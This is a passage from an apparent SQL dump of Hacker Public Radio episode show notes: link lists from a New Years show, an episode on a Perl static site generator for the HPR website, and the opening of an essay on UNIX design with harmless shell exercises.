class=\"uri\">https://en.wikiquote.org/wiki/Dungeons_%26_Dragons_(TV_series)</a></p>\r\n<p>Chip and Dale Rescue Rangers (TV cartoon &amp; Movie)</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0096557/\" class=\"uri\">https://www.imdb.com/title/tt0096557/</a></p>\r\n<p><a href=\"https://youtu.be/Y5feVNIkX-I\" class=\"uri\">https://youtu.be/Y5feVNIkX-I</a></p>\r\n<p><a href=\"https://disney.fandom.com/wiki/Chip_%27n_Dale_Rescue_Rangers_(film)\" class=\"uri\">https://disney.fandom.com/wiki/Chip_%27n_Dale_Rescue_Rangers_(film)</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt3513500/\" class=\"uri\">https://www.imdb.com/title/tt3513500/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Chip_%27n_Dale:_Rescue_Rangers_(film)\" class=\"uri\">https://en.wikipedia.org/wiki/Chip_%27n_Dale:_Rescue_Rangers_(film)</a></p>\r\n<p>Dark Wing Duck</p>\r\n<p><a href=\"https://disney.fandom.com/wiki/Darkwing_Duck\" class=\"uri\">https://disney.fandom.com/wiki/Darkwing_Duck</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0101076/\" class=\"uri\">https://www.imdb.com/title/tt0101076/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Darkwing_Duck\" class=\"uri\">https://en.wikipedia.org/wiki/Darkwing_Duck</a></p>\r\n<p><a href=\"https://variety.com/2020/tv/news/darkwing-duck-reboot-disney-plus-1234830283/\" class=\"uri\">https://variety.com/2020/tv/news/darkwing-duck-reboot-disney-plus-1234830283/</a></p>\r\n<p>Tale Spin</p>\r\n<p><a href=\"https://disney.fandom.com/wiki/TaleSpin\" class=\"uri\">https://disney.fandom.com/wiki/TaleSpin</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/TaleSpin\" class=\"uri\">https://en.wikipedia.org/wiki/TaleSpin</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0098924/\" class=\"uri\">https://www.imdb.com/title/tt0098924/</a></p>\r\n<p>The Octonauts</p>\r\n<p><a href=\"https://www.imdb.com/title/tt1710177/\" class=\"uri\">https://www.imdb.com/title/tt1710177/</a></p>\r\n<p><a href=\"https://www.bbc.co.uk/iplayer/episodes/b00xhyjf/octonauts\" class=\"uri\">https://www.bbc.co.uk/iplayer/episodes/b00xhyjf/octonauts</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Octonauts\" class=\"uri\">https://en.wikipedia.org/wiki/Octonauts</a></p>\r\n<p>Aquanauts</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0053481/\" class=\"uri\">https://www.imdb.com/title/tt0053481/</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0257292/\" class=\"uri\">https://www.imdb.com/title/tt0257292/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Aquanauts\" class=\"uri\">https://en.wikipedia.org/wiki/The_Aquanauts</a></p>\r\n<p>Woody Woodpecker</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Woody_Woodpecker_Show\" class=\"uri\">https://en.wikipedia.org/wiki/The_Woody_Woodpecker_Show</a></p>\r\n<p><a href=\"https://unitedparamountnetworkupn.fandom.com/wiki/The_Woody_Woodpecker_Show\" class=\"uri\">https://unitedparamountnetworkupn.fandom.com/wiki/The_Woody_Woodpecker_Show</a></p>\r\n<p><a href=\"https://youtu.be/Q4uIdPOpen8\" class=\"uri\">https://youtu.be/Q4uIdPOpen8</a></p>\r\n<p>Donald Duck Gets Discharged from the Military</p>\r\n<p><a href=\"https://www.portablepress.com/blog/2017/05/donald-duck-trivia/\" class=\"uri\">https://www.portablepress.com/blog/2017/05/donald-duck-trivia/</a></p>\r\n<p>GizmoDuck</p>\r\n<p><a href=\"https://scrooge-mcduck.fandom.com/wiki/Gizmoduck\" class=\"uri\">https://scrooge-mcduck.fandom.com/wiki/Gizmoduck</a></p>\r\n<p>Donald Duck has PTSD</p>\r\n<p><a href=\"https://cartoonoveranalyzations.wordpress.com/2009/02/20/diagnosis-donald-duck-suffers-from-ptsd/\" class=\"uri\">https://cartoonoveranalyzations.wordpress.com/2009/02/20/diagnosis-donald-duck-suffers-from-ptsd/</a></p>\r\n<p><a href=\"https://youtu.be/ehy7Mq7SP80\" class=\"uri\">https://youtu.be/ehy7Mq7SP80</a></p>\r\n<p>Voltron</p>\r\n<p><a href=\"https://www.imdb.com/title/tt5580664/\" class=\"uri\">https://www.imdb.com/title/tt5580664/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Voltron\" class=\"uri\">https://en.wikipedia.org/wiki/Voltron</a></p>\r\n<p><a href=\"https://voltron.com/\" class=\"uri\">https://voltron.com/</a></p>\r\n<p>Rin Tin Tin / Adventures of Tin Tin</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Rin_Tin_Tin\" class=\"uri\">https://en.wikipedia.org/wiki/Rin_Tin_Tin</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Adventures_of_Rin_Tin_Tin\" class=\"uri\">https://en.wikipedia.org/wiki/The_Adventures_of_Rin_Tin_Tin</a></p>\r\n<p><a href=\"https://www.imdb.com/name/nm0863833/\" class=\"uri\">https://www.imdb.com/name/nm0863833/</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0046576/\" class=\"uri\">https://www.imdb.com/title/tt0046576/</a></p>\r\n<p><a href=\"https://americacomesalive.com/the-story-of-rin-tin-tin-2/\" class=\"uri\">https://americacomesalive.com/the-story-of-rin-tin-tin-2/</a></p>\r\n<p>Heinz 57</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Heinz_57\" class=\"uri\">https://en.wikipedia.org/wiki/Heinz_57</a></p>\r\n<p>Winnie The Pooh</p>\r\n<p><a href=\"https://disney.fandom.com/wiki/Winnie_the_Pooh\" class=\"uri\">https://disney.fandom.com/wiki/Winnie_the_Pooh</a></p>\r\n<p><a href=\"https://www.smithsonianmag.com/arts-culture/winnie-pooh-became-household-bear-180967090/\" class=\"uri\">https://www.smithsonianmag.com/arts-culture/winnie-pooh-became-household-bear-180967090/</a></p>\r\n<p><a href=\"https://www.yahoo.com/lifestyle/upcoming-film-winnie-pooh-blood-140045130.html\" class=\"uri\">https://www.yahoo.com/lifestyle/upcoming-film-winnie-pooh-blood-140045130.html</a></p>\r\n<p>Furries</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Furry_fandom\" class=\"uri\">https://en.wikipedia.org/wiki/Furry_fandom</a></p>\r\n<p>Teen Wolf</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0090142/\" class=\"uri\">https://www.imdb.com/title/tt0090142/</a></p>\r\n<p>The Goonies</p>\r\n<p><a href=\"https://goonies.fandom.com/wiki/The_Goonies_(film)\" class=\"uri\">https://goonies.fandom.com/wiki/The_Goonies_(film)</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt0089218/\" class=\"uri\">https://www.imdb.com/title/tt0089218/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Goonies\" class=\"uri\">https://en.wikipedia.org/wiki/The_Goonies</a></p>\r\n<p>Magic The Gathering - Innistrad</p>\r\n<p><a href=\"https://mtg.fandom.com/wiki/Innistrad_(plane)\" class=\"uri\">https://mtg.fandom.com/wiki/Innistrad_(plane)</a></p>\r\n<p>Galaxy S6 Phone</p>\r\n<p><a href=\"https://www.gsmarena.com/samsung_galaxy_s6-6849.php\" class=\"uri\">https://www.gsmarena.com/samsung_galaxy_s6-6849.php</a></p>\r\n<p>Lineage OS</p>\r\n<p><a href=\"https://lineageos.org/\" class=\"uri\">https://lineageos.org/</a></p>\r\n<p>Ubports</p>\r\n<p><a href=\"https://ubports.com/\" class=\"uri\">https://ubports.com/</a></p>\r\n<p>Tony is enjoying his Juno Linux PC - Brutus 5000</p>\r\n<p><a href=\"https://junocomputers.com/product/brutus-5000-v2/\" class=\"uri\">https://junocomputers.com/product/brutus-5000-v2/</a></p>\r\n<p>Boxes (Linux Virtual Machine application)</p>\r\n<p><a href=\"https://help.gnome.org/users/gnome-boxes/stable/\" class=\"uri\">https://help.gnome.org/users/gnome-boxes/stable/</a></p>\r\n<p>Haskell</p>\r\n<p><a href=\"https://www.haskell.org/\" class=\"uri\">https://www.haskell.org/</a></p>\r\n<p>Rooibos Tea</p>\r\n<p><a href=\"https://www.healthline.com/nutrition/rooibos-tea-benefits\" class=\"uri\">https://www.healthline.com/nutrition/rooibos-tea-benefits</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Rooibos\" class=\"uri\">https://en.wikipedia.org/wiki/Rooibos</a></p>\r\n<p>IPFS</p>\r\n<p><a href=\"https://ipfs.io/\" class=\"uri\">https://ipfs.io/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/InterPlanetary_File_System\" class=\"uri\">https://en.wikipedia.org/wiki/InterPlanetary_File_System</a></p>\r\n<p><a href=\"https://medium.com/@ConsenSys/an-introduction-to-ipfs-9bba4860abd0\" class=\"uri\">https://medium.com/@ConsenSys/an-introduction-to-ipfs-9bba4860abd0</a></p>\r\n<p>Arc Wedling</p>\r\n<p><a href=\"https://www.twi-global.com/technical-knowledge/faqs/what-is-arc-welding\" class=\"uri\">https://www.twi-global.com/technical-knowledge/faqs/what-is-arc-welding</a></p>\r\n<p><a href=\"https://weldguru.com/what-is-arc-welding/\" class=\"uri\">https://weldguru.com/what-is-arc-welding/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Arc_welding\" class=\"uri\">https://en.wikipedia.org/wiki/Arc_welding</a></p>\r\n<p>6011 Stick Welding Rods</p>\r\n<p><a href=\"https://weldingtroop.com/what-is-6011-welding-rod-used-for/\" class=\"uri\">https://weldingtroop.com/what-is-6011-welding-rod-used-for/</a></p>\r\n<p>Zinc</p>\r\n<p><a href=\"https://www.rsc.org/periodic-table/element/30/zinc\" class=\"uri\">https://www.rsc.org/periodic-table/element/30/zinc</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Zinc\" class=\"uri\">https://en.wikipedia.org/wiki/Zinc</a></p>\r\n<p>Zamak</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Zamak\" class=\"uri\">https://en.wikipedia.org/wiki/Zamak</a></p>\r\n<p><a href=\"https://decoprod.com/design-support/zamak/\" class=\"uri\">https://decoprod.com/design-support/zamak/</a></p>\r\n<p>Biodiesel</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Biodiesel\" class=\"uri\">https://en.wikipedia.org/wiki/Biodiesel</a></p>\r\n<p><a href=\"https://www.biodiesel.org/\" class=\"uri\">https://www.biodiesel.org/</a></p>\r\n<p>Boats with Underwater Wing (Hydrofoils?)</p>\r\n<p><a href=\"http://www.hydrofoil.org/history.html\" class=\"uri\">http://www.hydrofoil.org/history.html</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Hydrofoil\" class=\"uri\">https://en.wikipedia.org/wiki/Hydrofoil</a></p>\r\n<p><a href=\"https://web.mit.edu/2.972/www/reports/hydrofoil/hydrofoil.html\" class=\"uri\">https://web.mit.edu/2.972/www/reports/hydrofoil/hydrofoil.html</a></p>\r\n<p>Cardano</p>\r\n<p><a href=\"https://cardano.org/\" class=\"uri\">https://cardano.org/</a></p>\r\n<p>Plutus Tutorial</p>\r\n<p><a href=\"https://plutus.readthedocs.io/en/latest/tutorials/\" class=\"uri\">https://plutus.readthedocs.io/en/latest/tutorials/</a></p>\r\n<p>Racket</p>\r\n<p><a href=\"https://racket-lang.org/\" class=\"uri\">https://racket-lang.org/</a></p>\r\n<p>Plutus Pioneer Program</p>\r\n<p><a href=\"https://testnets.cardano.org/en/plutus-pioneer-program/\" class=\"uri\">https://testnets.cardano.org/en/plutus-pioneer-program/</a></p>\r\n<p>NixOS</p>\r\n<p><a href=\"https://nixos.org/\" class=\"uri\">https://nixos.org/</a></p>\r\n<p><a href=\"https://distrowatch.com/table.php?distribution=nixos\" class=\"uri\">https://distrowatch.com/table.php?distribution=nixos</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/NixOS\" class=\"uri\">https://en.wikipedia.org/wiki/NixOS</a></p>\r\n<p>Scheme</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Scheme_(programming_language)\" class=\"uri\">https://en.wikipedia.org/wiki/Scheme_(programming_language)</a></p>\r\n<p>Lisp</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Lisp_(programming_language)\" class=\"uri\">https://en.wikipedia.org/wiki/Lisp_(programming_language)</a></p>\r\n<p><a href=\"https://www.tutorialspoint.com/lisp/index.htm\" class=\"uri\">https://www.tutorialspoint.com/lisp/index.htm</a></p>\r\n<p>Functional Programming</p>\r\n<p><a href=\"https://www.geeksforgeeks.org/functional-programming-paradigm/\" class=\"uri\">https://www.geeksforgeeks.org/functional-programming-paradigm/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Functional_programming\" class=\"uri\">https://en.wikipedia.org/wiki/Functional_programming</a></p>\r\n<p>Clojure</p>\r\n<p><a href=\"https://clojure.org/\" class=\"uri\">https://clojure.org/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Clojure\" class=\"uri\">https://en.wikipedia.org/wiki/Clojure</a></p>\r\n<p><a href=\"https://clojuredocs.org/\" class=\"uri\">https://clojuredocs.org/</a></p>\r\n<p>Solaris</p>\r\n<p><a href=\"https://www.oracle.com/solaris/solaris11/\" class=\"uri\">https://www.oracle.com/solaris/solaris11/</a></p>\r\n<p>VIM</p>\r\n<p><a href=\"https://www.vim.org/\" class=\"uri\">https://www.vim.org/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Vim_(text_editor)\" class=\"uri\">https://en.wikipedia.org/wiki/Vim_(text_editor)</a></p>\r\n<p>CentOS</p>\r\n<p><a href=\"https://www.centos.org/\" class=\"uri\">https://www.centos.org/</a></p>\r\n<p><a href=\"https://distrowatch.com/table.php?distribution=centos\" class=\"uri\">https://distrowatch.com/table.php?distribution=centos</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/CentOS\" class=\"uri\">https://en.wikipedia.org/wiki/CentOS</a></p>\r\n<h4 id=\"t090000z\">2022-01-01T09:00:00Z</h4>\r\n<p>AKST Alaska/USA and regions of French Polynesia Anchorage, Fairbanks, Juneau, Unalaska</p>\r\n<p>HST Small region of USA and 2 more Honolulu, Rarotonga, Adak, Papeete</p>\r\n<p><a href=\"https://www.worldtimezone.com/newyear.html\" class=\"uri\">https://www.worldtimezone.com/newyear.html</a></p>\r\n<p>Solstice</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Solstice\" class=\"uri\">https://en.wikipedia.org/wiki/Solstice</a></p>\r\n<p><a href=\"https://www.irishamericanmom.com/newgrange-irelands-megalithic-wonder-of-the-winter-solstice/\" class=\"uri\">https://www.irishamericanmom.com/newgrange-irelands-megalithic-wonder-of-the-winter-solstice/</a></p>\r\n<p><a href=\"https://www.newgrange.com/\" class=\"uri\">https://www.newgrange.com/</a></p>\r\n<p>TIVO</p>\r\n<p><a href=\"https://www.tivo.com/custom/product-bolt\" class=\"uri\">https://www.tivo.com/custom/product-bolt</a></p>\r\n<p>Yagi Antenna</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Yagi%E2%80%93Uda_antenna\" class=\"uri\">https://en.wikipedia.org/wiki/Yagi%E2%80%93Uda_antenna</a></p>\r\n<p><a href=\"https://www.eeweb.com/lets-build-the-yagi-antenna/\" class=\"uri\">https://www.eeweb.com/lets-build-the-yagi-antenna/</a></p>\r\n',159,121,1,'CC-BY-SA','HPR, New Years, Talking',0,0,1),
(3687,'2022-09-20','2021-2022 New Years Show Part 6',11137,'The HPR community comes together to chat','<h2 id=\"hacker-public-radio-new-years-eve-show-2021---2022\">Hacker Public Radio New Years Eve Show 2021 - 2022</h2>\n<h3 id=\"part-6\">Part 6</h3>\n<p><a href=\"https://rsgb.org/main/clubs-training/for-students/foundation/\" class=\"uri\">https://rsgb.org/main/clubs-training/for-students/foundation/</a></p>\n<p><a href=\"https://logseq.com/\" class=\"uri\">https://logseq.com/</a></p>\n<p><strong>The End!</strong></p>\n<ul>\n<li>Thanks To:\n<ul>\n<li>Mumble Server: Delwin</li>\n<li>HPR Site/VPS: Joshua Knapp - AnHonestHost.com</li>\n<li>Streams: Honkeymagoo</li>\n<li>EtherPad: HonkeyMagoo</li>\n<li>Shownotes: HPLovecraft</li>\n</ul></li>\n</ul>\n<h3 id=\"aftershow\">Aftershow</h3>\n<p>Swedish new words of 2021: <a href=\"https://www.svt.se/kultur/experten-de-orden-kommer-jag-sakna-mest\" class=\"uri\">https://www.svt.se/kultur/experten-de-orden-kommer-jag-sakna-mest</a> (Swedish)</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Endometriosis\" class=\"uri\">https://en.wikipedia.org/wiki/Endometriosis</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Vulvar_vestibulitis\" class=\"uri\">https://en.wikipedia.org/wiki/Vulvar_vestibulitis</a></p>\n',159,121,1,'CC-BY-SA','HPR, New Years, Talking',0,0,1),
(3659,'2022-08-11','Developing an HPR static site generator',673,'Rho`n describes his approach to developing a static site generator for HPR','<h1 id=\"synopsis\">Synopsis</h1>\n<p>In this episode, I describe my ongoing attempt to develop a static site generator for the HPR website. As a search through the community mailing list will reveal, the idea for moving the HPR website has been rattling around for a few years. I have been interested in helping out with the website for a while, so when the latest round of discussion occurred I decided to give it a whirl.</p>\n<p>While I have read about various static site generators over the years, the only one I had any experience with was Template-Toolkit (TT2) when helping Ken Fallon and Dave Morriss develop the Free Culture Podcasts webpage. It is the tool Dave uses for various projects. Since they are the janitors for HPR, I figured a website generator based on the TT2 would be something relatively painless enough for them to use, and update when needed.</p>\n<p>The code for this generator is hosted at <a href=\"https://repo.anhonesthost.net/rho_n/hpr_generator\">https://repo.anhonesthost.net/rho_n/hpr_generator</a>. The generator is written in Perl and generates the pages using TT2 templates.</p>\n<p>Anyone interested in helping out is encouraged to create an account on repo.anhonesthost.net and start hacking away.</p>\n<h1 id=\"references\">References</h1>\n<ul>\n<li><p><a href=\"https://repo.anhonesthost.net/rho_n/hpr_generator\">site-generator source code</a>; <a href=\"https://repo.anhonesthost.net/rho_n/hpr_generator\">https://repo.anhonesthost.net/rho_n/hpr_generator</a></p></li>\n<li><p><a href=\"http://template-toolkit.org/\">Template Tookit website</a>; <a href=\"http://template-toolkit.org/\">http://template-toolkit.org/</a></p></li>\n<li><p><a href=\"https://www.cpan.org/\">Comprehensive Perl Archive Network (CPAN) website</a>; <a href=\"https://www.cpan.org/\">https://www.cpan.org/</a></p></li>\n<li><p><a href=\"https://repo.anhonesthost.net/explore/repos\">HPR repositories at anHonestHost.net</a>; <a href=\"https://repo.anhonesthost.net/explore/repos\">https://repo.anhonesthost.net/explore/repos</a></p></li>\n<li><p><a href=\"https://hpr.horning.us/\">Rho`n\'s public test HPR website</a>; <a href=\"https://hpr.horning.us\">https://hpr.horning.us</a></p></li>\n<li><p><a href=\"https://freeculturepodcasts.org/\">Free Culture Podcasts</a>; <a href=\"https://freeculturepodcasts.org/\">https://freeculturepodcasts.org/</a></p></li>\n<li><p><a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2019-April/014388.html\">HPR Mailing list: Static Site Generators - NOT a flat file CMS</a>; message thread; <a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2019-April/014388.html\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2019-April/014388.html</a></p></li>\n<li><p><a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-June/015296.html\">HPR Mailing list: Source Code for the HPR website.</a>; message thread; <a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-June/015296.html\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-June/015296.html</a></p></li>\n<li><p><a href=\"https://github.com/dumblob/mysql2sqlite\">MySQL to SQLite conversion script</a>; <a href=\"https://github.com/dumblob/mysql2sqlite\">https://github.com/dumblob/mysql2sqlite</a></p></li>\n</ul>\n',293,0,0,'CC-BY-SA','HPR, static site generator, Perl, SQLite, Template Toolkit',0,0,1),
(3665,'2022-08-19','UNIX Is Sublime',3586,'I talk about all of the reasons I love UNIX','<h1 id=\"unix-is-sublime\">UNIX is sublime</h1>\n<h6 id=\"or-how-to-use-a-computer-without-hating-yourself-for-it-in-the-morning\">Or, \"how to use a computer without hating yourself for it in the morning\"</h6>\n<h6 id=\"or-unix-is-basically-a-simple-operating-system---\">Or, \"Unix is basically a simple operating system . . .\"</h6>\n<h6 id=\"or-my-weariness-and-disdain-for-computers-grow-with-each-additional-unit-of-knowledge\">Or, \"My weariness and disdain for computers grow with each additional unit of knowledge\"</h6>\n<h6 id=\"or-worse-is-better\">Or, \"Worse is better\"</h6>\n<h1 id=\"origins\">Origins</h1>\n<p>UNIX is not Multics</p>\n<p>Multics = Multiplexed Information and Computer Service</p>\n<p>UNIX = Uniplexed Information and Computing Service</p>\n<p>The name \'UNIX\' is a pun on the name \'Multics\'. Multics was entirely too large and complicated to be useful so the boys at Bell Labs cooked up something smaller, less complicated, and easier to use.</p>\n<hr />\n<h3 id=\"ancient-emulation-interlude\">Ancient emulation interlude</h3>\n<p><a href=\"https://www.multicians.org/sim-inst.html\">How to run Multics in 2022.</a></p>\n<p><a href=\"https://gunkies.org/wiki/Running_Unix_v5_in_SIMH\">This wiki helped me emulate UNIXv5.</a></p>\n<p><a href=\"https://gunkies.org/wiki/Installing_v7_on_SIMH\">And this one helped me emulate UNIXv7.</a></p>\n<p><a href=\"https://livingcomputers.org/Computer-Collection/Online-Systems.aspx\">These guys host ancient systems accessible via guest accounts over ssh.</a></p>\n<blockquote>\n<p>\"Cool, but useless.\"</p>\n</blockquote>\n<hr />\n<p>I know almost nothing about Multics and I\'m not sure if it\'s even worth learning. This is about UNIX, not Multics. Maybe I\'ll come back to it.</p>\n<h1 id=\"philosophy-implementations-ducks\">Philosophy, implementations, ducks</h1>\n<p>When I think of \"UNIX\", I do not think of the trademark. Instead, I think of the <a href=\"https://en.wikipedia.org/wiki/Unix_philosophy\">Unix philosophy.</a> and the general design principles, interface, and behavior of a UNIX system.</p>\n<p>A better way of thinking about \"UNIX\" is as something \"POSIX-like\" rather than \"AT&amp;T\'s commercial UNIX\". Example: although Linux and GNU are overly complicated, they pass the duck test for being a UNIX. Pedigree or not, you know a nix when you see one.</p>\n<p>Also, when I say \"UNIX\", I mean \"Free UNIX\". I have no interest in proprietary implementations that only exist for the purpose of restricting users and disempowering/discouraging sysadmins from becoming self-reliant.</p>\n<p>So what is the philosophy?</p>\n<ul>\n<li>Do one thing and do it well</li>\n<li>Design programs that work together using text as the common interface</li>\n<li>KISS: Keep it simple, stupid</li>\n<li>Test early, test often</li>\n</ul>\n<p>And additionally:</p>\n<ul>\n<li>everything is a file or a process</li>\n</ul>\n<h1 id=\"design\">Design</h1>\n<h2 id=\"10000-ft-view\">10,000 Ft View</h2>\n<p>UNIX is a multiuser time sharing networked operating system, running as an always online service. A UNIX system is a single mainframe computer running an operating system designed for multiple users to access concurrently over the network, equally (depending on implementation) sharing resources amongst the active users.</p>\n<p>In a traditional network setup, there is one mainframe UNIX machine with multiple dumb terminals connected to it over the network. None of the users touch the mainframe physically. Instead, they interact with it exclusively through their own dumb terms. These dumb terminals have minimal or no computing power of their own because all of the actual computation takes place on the mainframe. Built in networking is a given.</p>\n<p>As for the actual software running on the mainframe, it\'s quite simple to visualize. A Unix system is a flexible but organized stack of concepts, each depending on the concept below, all working together for the sole purpose of enabling the end user to play video games and watch videos online.</p>\n<pre><code>       / user applications \\\n      /       shells        \\\n     /        daemons        \\\n    /       file systems      \\\n   /        kmods/drivers      \\\n  /           syscalls          \\\n /             kernel            \\\n/             hardware            \\\n</code></pre>\n<p>In order to fully explain why UNIX is sublime, I will start from the bottom and work my way upward. Before I discuss the shell, I will explain the multiuser aspects of the system. Then, after a long arduous journey of verbosity, explain how to actually use the thing.</p>\n<h2 id=\"kernel\">Kernel</h2>\n<p>The kernel is something the user rarely interacts with. It abstracts all the hard parts away from the user. No more poking random memory addresses to load a program from tape.</p>\n<h3 id=\"multitasking\">Multitasking</h3>\n<p>In order to support multiple users, resource sharing was implemented. When a user\'s process requests CPU time, it\'s put into a rotational queue along with the other requests for CPU time. Round robin style concurrency is one of the easiest to implement but most modern systems use a weighted model that prioritizes processes owned by specific users. Memory and disk space are typically assigned hard limits to prevent system crashes. \"Ask your sysadmin if you need more resources.\"</p>\n<h3 id=\"virtual-memory\">Virtual Memory</h3>\n<p>Abstracting memory management from users is almost necessary in a multitasking system. The kernel must be the arbiter of all. The most interesting thing about virtual memory is that it doesn\'t actually need to be a RAM stick, but can be a swap partition on a disk or even a remote cloud provider if you\'ve actually lost your mind. This type of flexibility improves system stability. Instead of a kernel panic when memory runs out, the kernel can de-prioritize nonessential or idle processes by sending them to swap space.</p>\n<h3 id=\"paged-memory-logical-memory\">Paged Memory (logical memory)</h3>\n<p>No more fragmented memories! The kernel maintains a page table that maps logical locations to physical locations. Instead one continuous chunk of memory, the kernel divides memory into small sections called \"pages\". When allocating memory, the kernel might not give a process continuous pages. The advantage of a paged memory scheme further enables multiuser computing. Example: When you have a large program like a web browser open, the pages that contains the unfocused tabs can be swapped out to disk without stalling the entire browser.</p>\n<h3 id=\"programming-interface-pt-0-syscalls-kmods-drivers\">Programming Interface pt. 0 (syscalls, kmods, drivers)</h3>\n<p>When a process requests a resource, it sends a syscall to the kernel. The kernel then responds to the system call. This allows for privilege separation. Does your web browser need direct access to all memory? What about all files? Do we even want to write assembly every time we want to access a file? Syscalls are dual purpose: abstraction and security.</p>\n<p>Kernel modules are dynamic \"extensions\" that give the kernel new features (typically hardware support). The ability to dynamically load/unload modules as hardware changes increases uptime because it means a new kernel doesn\'t need to be compiled, installed, and booted into every time we plug in a different peripheral.</p>\n<h2 id=\"filesystem\">Filesystem</h2>\n<h3 id=\"hierarchical-structure\">Hierarchical structure</h3>\n<p>A UNIX filesystem is hierarchical. Each directory contains files or other directories, each with a specific purpose. This type of organization makes it very easy to navigate and manage a system. Each child directory inherits ownership and permissions unless otherwise specified (see Access Control).</p>\n<p>In order to visualize this, I imagine a tree-like structure descending from the root directory, <code>/</code>. The <code>tree(1)</code> program shows this type of hierarchy.</p>\n<h3 id=\"virtual-filesystems-logical-filesystem\">Virtual Filesystems (logical filesystem)</h3>\n<p>The idea behind virtual filesystems is, again, abstraction. Using the concept of a virtual file system, multiple disks can be presented to the user and programmer as a single unified filesystem. This means mounted local disks, NFS shares, and even the contents of a CDROM are presented as if the files contained therein are \"just on the big hard drive\".</p>\n<p>Additionally, using bind mounts, a directory can be mounted onto another directory as if it were just another filesystem.</p>\n<p>The final interesting thing about virtual filesystems is the concept of a ramdisk: mounting a section of memory so that it can be used as if it was an ordinary directory. <strong>&lt;--Shoot foot here.</strong></p>\n<h3 id=\"everything-is-a-file\">Everything is a file</h3>\n<p>Well, almost everything is <em>presented</em> as if it were a file. This greatly simplifies programming.</p>\n<p>Prime example: <code>/dev/urandom</code> is a random entropy generator presented as a file, making it very simple for a programmer to implement seeded RNG in a program.</p>\n<p>Another example: The kernel translates mouse input into a data stream that can be opened as a file. The programmer only needs to read from <code>/dev/mouse0</code> instead of writing hundreds of mouse drivers for a clicky GUI.</p>\n<p>Exercise 1: Try running this command then wiggling your mouse:</p>\n<pre class=\"sh\"><code># Linux\n$ sudo cat /dev/input/mouse0\n\n# FreeBSD\n$ sudo cat /dev/sysmouse\n</code></pre>\n<p>Yet another example: the TTY is just a file. You can even print it to a text file using <code>setterm(1)</code> on Linux.</p>\n<p>Exercise 2:</p>\n<pre class=\"sh\"><code>[user@fedora ~]$ sudo setterm --dump 3\n[user@fedora ~]$ cat screen.dump\n\nFedora Linux 36 (Workstation Edition)\nKernel 5.18.5-200.fc36.x86_64 on an x86_64 (tty3)\n\nfedora login: root\nPassword:\nLast login: Sat Jul 30 14:34:20 on tty3\n[root@fedora ~]# /opt/pfetch/pfetch\n        ,&#39;&#39;&#39;&#39;&#39;.   root@fedora\n       |   ,.  |  os     Fedora Linux 36 (Workstation Edition)\n       |  |  &#39;_&#39;  host   XXXXXXXXXX ThinkPad T490\n  ,....|  |..     kernel 5.18.5-200.fc36.x86_64\n.&#39;  ,_;|   ..&#39;    uptime 20d 22h 40m\n|  |   |  |       pkgs   3910\n|  &#39;,_,&#39;  |       memory 6522M / 15521M\n &#39;.     ,&#39;\n   &#39;&#39;&#39;&#39;&#39;\n\n[root@fedora ~]#\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n[user@fedora ~]$\n</code></pre>\n<h3 id=\"links\">Links</h3>\n<p>Yet another way of \"mounting\" a file or directory to another file or directory is linking. There are two types of links: hard links and symbolic links.</p>\n<p>On UNIX, files are indexed by inodes (index nodes). Using links, we can make \"shortcuts\" to files.</p>\n<p>Hard linking adds a \"new index\" to a file. They share an inode. If the original file is removed, the file persists in storage because the secondary file created by a hard link still exists. Think \"different name, same file\"</p>\n<p>Symlinks are like pointers. A symlink points to the original file instead of the inode. If you remove the original file, the symlink breaks because it points to a file that points to an inode rather than simply pointing to an inode.</p>\n<p>Using links, we can make files more convenient to access as if we are \"copying\" files without actually copying files.</p>\n<h3 id=\"filename-extensions\">Filename extensions</h3>\n<p>On a UNIX system, file extensions are arbitrary. UNIX determines file type by reading the file headers. The file tells you exactly what type of file it is (just read it). The entire system does not break when a file extension doesn\'t match the expected contents of the file.</p>\n<p>Extensions only matter when you 